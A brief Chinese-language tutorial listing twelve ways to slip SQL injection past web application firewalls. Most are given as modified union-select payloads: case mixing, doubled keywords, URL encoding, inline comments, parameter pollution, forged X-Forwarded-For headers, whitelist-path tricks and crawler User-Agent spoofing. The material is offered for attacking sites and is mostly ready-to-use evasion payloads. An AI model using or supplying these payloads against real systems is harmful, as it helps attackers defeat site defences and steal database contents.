SQL注入绕过WAF的本质:既保证语句的正常运行结果,又防止WAF软件的正常匹配来实现绕过
1.更改提交方式
例如把GET提交方式更改为POST提交方式
局限性:网页的提交方式必须为REQUEST,否则无法正常接收,网页内容显示不正常。
2.大小写绕过
例如:1 and 1=1 修改为 1 AnD 1=1
3.双写绕过
例如:-1 union select 1,2,3# 修改为 -1 ununionion seselectlect 1,2,3#
4.编码绕过
例如:-1 union select 1,2,3# 修改为 -1%20%75nion%20%73elect%201,2,3#
5.内联注释绕过
例如:-1 union select 1,2,3# 修改为 -1 /**/union /**/select 1,2,3#
或者-1 /*!union*/ /*!select*/ 1,2,3#
6.#注释绕过
例如:-1 union select 1,2,3# 修改为 -1 union%23a%0Aselect 1,2,3#
语句为:-1 union#a
select 1,2,3#
7.参数污染绕过
参数污染简介
web服务器为:PHP/Apache,只接收后面的参数。
例如:-1 union select 1,2,3# 修改为1/**&id=-1%20union%20select%201,2,3%23*/
8.等价替换绕过
Hex() bin() 等价于ascii()
Sleep() 等价于 benchmark()
Mid()substring() 等价于 substr()
@@user 等价于 User()
@@Version 等价于 version()
and=& or=| 等等
9.ip白名单绕过
从网络层获取的ip,这种一般伪造不来,如果是获取客户端的IP,这样就可能存在伪造IP绕过的情况。
绕过方法:修改http的header来绕过 waf
X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
X-Real-ip
10.静态资源绕过
特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css等等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件名后缀的请求。
例如:http://x.x.x.x/xxx.php?id=1 and 1=1 修改为 http://x.x.x.x/xxx.php/1.txt?id=1 and 1=1
11.url白名单绕过
部分waf内置默认的白名单列表,如admin/manager/system等管理后台。只要url中存在白名单的字符串,就作为白名单不进行检测。
例如:http://x.x.x.x/xxx.php/admin.php?id=1 这个url不会进行拦截
12.爬虫白名单绕过
部分waf有提供爬虫白名单的功能,识别爬虫的技术一般有两种:
1、 根据UserAgent :我们可以通过修改请求包中的User-Agent来伪装成搜索引擎爬虫。
2、通过行为来判断
还有很多等待更新